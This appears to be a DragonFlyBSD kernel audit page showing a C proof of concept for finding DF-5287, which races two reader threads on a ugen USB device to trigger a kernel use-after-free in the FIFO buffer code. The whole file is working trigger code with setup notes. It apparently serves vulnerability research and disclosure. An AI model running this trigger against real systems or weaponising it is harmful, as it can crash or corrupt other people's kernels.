⬢ DragonFlyBSD Kernel Audit
DF-5287 / df5287b.c
← back to finding ↓ download raw
/*
 * DF-5287 variant B -- same double-setup race as df5287.c, but with
 * BLOCKING reads and live traffic so that the second thread's
 * usb_fifo_alloc_buffer() -> usb_fifo_free_buffer() (no priv_lock!)
 * races a live ugen_ctrl_read_callback() -> usb_fifo_put_data() that
 * is walking f->free_q / writing into the mbuf storage that
 * free_buffer() kfree()s => use-after-free (write into freed heap).
 *
 * Needs mouse traffic: run with QEMU monitor feeding
 *   input-send-event ...
 * or move the cursor. ums.ko must be detached so the ugen fifo
 * receives the interrupt data.
 */
#include <sys/types.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#ifndef DEV
#define DEV	"/dev/usb/0.2.1"
#endif

static int fd;
static int eio_seen;
static pthread_barrier_t bar;

static void *
reader(void *arg)
{
	char buf[64];
	int i;

	pthread_barrier_wait(&bar);
	for (i = 0; i < 64; i++) {
		ssize_t n = read(fd, buf, sizeof(buf));
		if (n < 0 && errno == EIO) {
			eio_seen = 1;
			break;
		}
	}
	return (NULL);
}

int
main(int argc, char **argv)
{
	pthread_t a, b;
	int i, iter = (argc > 1) ? atoi(argv[1]) : 400;

	for (i = 0; i < iter; i++) {
		fd = open(DEV, O_RDONLY);
		if (fd < 0)
			err(1, "open (iter %d)", i);
		pthread_barrier_init(&bar, NULL, 2);
		if (pthread_create(&a, NULL, reader, NULL) ||
		    pthread_create(&b, NULL, reader, NULL))
			err(1, "pthread_create");
		pthread_join(a, NULL);
		pthread_join(b, NULL);
		pthread_barrier_destroy(&bar);
		close(fd);
		if (eio_seen) {
			printf("EIO after %d iterations\n", i);
			return (2);
		}
		if ((i % 50) == 0) {
			printf("iter %d\n", i);
			fflush(stdout);
		}
	}
	printf("done %d iterations\n", iter);
	return (0);
}